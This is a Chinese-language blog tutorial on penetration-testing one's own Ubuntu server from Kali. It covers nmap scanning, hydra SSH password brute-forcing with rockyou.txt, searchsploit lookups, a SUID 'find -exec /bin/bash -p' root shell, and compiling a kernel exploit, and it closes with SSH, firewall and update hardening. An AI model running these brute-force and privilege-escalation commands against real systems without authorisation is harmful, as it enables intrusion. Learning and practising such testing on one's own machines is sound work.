Ubuntu 渗透测试步骤

全程合法测试(仅限你自己的服务器)👇

核心测试思路

Ubuntu 渗透的核心是 "信息收集 → 漏洞探测 → 提权尝试 → 安全加固",咱们从最基础的信息收集开始,逐步深入。


一、第一步:全面信息收集(摸透目标)

渗透的关键是 "知己知彼",先收集 Ubuntu 的系统版本、内核、开放服务、用户信息,这些信息决定后续的攻击方向。

1. 系统版本 & 内核探测(Kali 执行)

bash

运行

复制代码
# 方法1:nmap 系统识别(精准)
nmap -O 192.168.1.20

# 方法2:通过 SSH 探测(如果能手动登录)
ssh root@192.168.1.20  # 登录后执行
cat /etc/os-release     # 看 Ubuntu 版本(如 20.04/22.04)
uname -r                # 看内核版本(如 5.15.0-88-generic)
  • 为什么重要 :内核版本决定能否用提权漏洞(比如旧内核的 dirtycow 漏洞);Ubuntu 版本决定软件包的漏洞情况。
2. 开放服务全扫描(比之前更细致)

bash

运行

复制代码
# 扫描所有端口 + 服务版本 + 漏洞脚本
nmap -p- -sV --script vuln 192.168.1.20
  • -p-:扫描全部 65535 个端口;
  • --script vuln:运行 Nmap 漏洞脚本,检测常见服务漏洞(如 SSH 漏洞、nginx 漏洞);
  • 重点关注:除了 22/9443/65443,是否还有其他开放端口(如 80/3306/6379)。
3. 用户信息收集(登录后)

如果能 SSH 登录 Ubuntu,执行以下命令看系统用户:

bash

运行

复制代码
cat /etc/passwd | grep -v nologin  # 看有登录权限的用户
id  # 看当前用户权限(uid=0 是 root,uid=1000 是普通用户)

二、第二步:重点服务渗透(22 端口 SSH 是核心)

Ubuntu 服务器最常暴露的就是 SSH 服务,也是渗透的重点目标,分 2 个方向测试:

1. SSH 弱口令爆破(解决之前 "没反应" 的问题)

按之前的方法调整参数,重点是降低线程 + 加详细输出

bash

运行

复制代码
# 1. 先解压字典(Kali 首次用需要解压)
gunzip /usr/share/wordlists/rockyou.txt.gz

# 2. 用普通用户爆破(Ubuntu 默认禁用 root SSH 登录,试试 ubuntu 用户)
hydra -l ubuntu -P /usr/share/wordlists/rockyou.txt -t 1 -vV ssh://192.168.1.20 -w 5
  • 关键参数
    • -l ubuntu:Ubuntu 安装时默认创建的用户名,大概率存在;
    • -t 1:单线程!避免被 SSH 的防暴力破解机制拦截;
    • -w 5:超时 5 秒,适配慢网络。
  • 如果爆破成功 :立刻改密码!并在 /etc/ssh/sshd_config 里禁用密码登录,改用密钥登录。
2. SSH 版本漏洞检测

你的 Ubuntu 用的是 OpenSSH 8.2p1,这个版本比较新,没有重大漏洞,但可以学方法:

bash

运行

复制代码
# 用 searchsploit 查 SSH 版本漏洞
searchsploit OpenSSH 8.2
  • searchsploit 是 Kali 自带的漏洞库,会列出该版本的已知漏洞;
  • 若显示 "无结果",说明版本安全;若有漏洞,可下载 EXP 测试(仅限自己的服务器)。

三、第三步:本地提权测试(登录后进阶操作)

如果能 SSH 登录 Ubuntu(不管是 root 还是普通用户),下一步就是 "提权"------ 普通用户→root 用户,这是主机渗透的核心目标。

1. 检查 SUID 提权漏洞(最简单的提权方式)

SUID 是 Linux 的特殊权限,部分程序以 root 权限运行,可被利用提权:

bash

运行

复制代码
# 登录 Ubuntu 后执行,查找有 SUID 权限的程序
find / -perm -u+s -type f 2>/dev/null
  • 重点看输出里的程序:find/nmap/bash/cp 等,这些程序有公开的提权方法;

  • 示例:find 提权 (如果 find 有 SUID 权限)

    bash

    运行

    复制代码
    find / -exec /bin/bash -p \;

    执行后如果提示符变成 #,说明提权成功!

2. 检查内核提权漏洞

如果 Ubuntu 内核版本较旧(比如 < 5.0),可以用内核漏洞提权:

bash

运行

复制代码
# 1. 登录 Kali,搜索对应内核的提权 EXP
searchsploit Linux kernel 5.15  # 替换成你的内核版本

# 2. 下载 EXP 到 Ubuntu 服务器(比如用 wget)
# 假设 EXP 叫 exploit.c,上传到 Ubuntu 的 /tmp 目录

# 3. 编译并运行(需要 gcc)
gcc exploit.c -o exploit
chmod +x exploit
./exploit
  • 注意:新内核(如 5.15+)很难找到可用的提权 EXP,Ubuntu 官方会定期修复内核漏洞。
3. 检查计划任务 & 服务权限

bash

运行

复制代码
# 看 root 运行的计划任务
crontab -l
cat /etc/crontab

# 看服务配置文件权限(如果普通用户能改,就能提权)
ls -l /etc/systemd/system/*.service

四、第四步:安全加固(测试完一定要做!)

渗透的最终目的是发现漏洞并修复,测试完后按以下步骤加固 Ubuntu:

  1. SSH 加固

    • 禁用 root 用户 SSH 登录:sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
    • 禁用密码登录,改用密钥:sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
    • 重启 SSH:systemctl restart sshd
  2. 内核 & 系统更新

    bash

    运行

    复制代码
    sudo apt update && sudo apt upgrade -y  # 更新所有软件包
    sudo reboot  # 重启生效
  3. 清理 SUID 权限

    • 对不需要 SUID 权限的程序,移除权限:chmod u-s /usr/bin/find
  4. 启用防火墙

    bash

    运行

    复制代码
    sudo ufw allow 22/tcp  # 只放行 SSH 端口
    sudo ufw enable  # 启用防火墙

五、总结:Ubuntu 渗透的核心收获

  1. 信息收集是基础:系统版本、内核、服务版本,决定后续所有操作;
  2. SSH 是突破口:弱口令是最常见的漏洞,一定要用强密码 + 密钥登录;
  3. 提权是核心目标:SUID、内核漏洞、计划任务,是 Linux 提权的三大方向;
  4. 加固是最终目的:渗透不是搞破坏,而是发现并修复漏洞。
相关推荐
虾..1 小时前
Linux 文件系统与inode结构
linux·运维·服务器
南山星火1 小时前
Ubuntu 22.04 与 24.04 系统常用命令
linux·运维·ubuntu
cicada151 小时前
如何在Windows系统下使用Linux环境?
linux·运维·windows
雅菲奥朗1 小时前
雅菲奥朗SRE知识墙分享(九)『DevOps & SRE 如何实现职场转型?』
运维·devops·sre
今天也想MK代码2 小时前
数据模型与持久化存储
linux·运维·ubuntu
哇哈哈&2 小时前
awk与sed的基本使用
linux·运维·服务器
水天需0102 小时前
Vim 搜索和替换详解
linux
乔碧萝成都分萝2 小时前
十六、一个基本的GPIO驱动程序
linux·驱动开发·嵌入式
ModestCoder_2 小时前
Ubuntu 22.04,Isaac Sim 5.1.0 + Isaac Lab 2.3.0 Conda 环境安装指南
linux·ubuntu·conda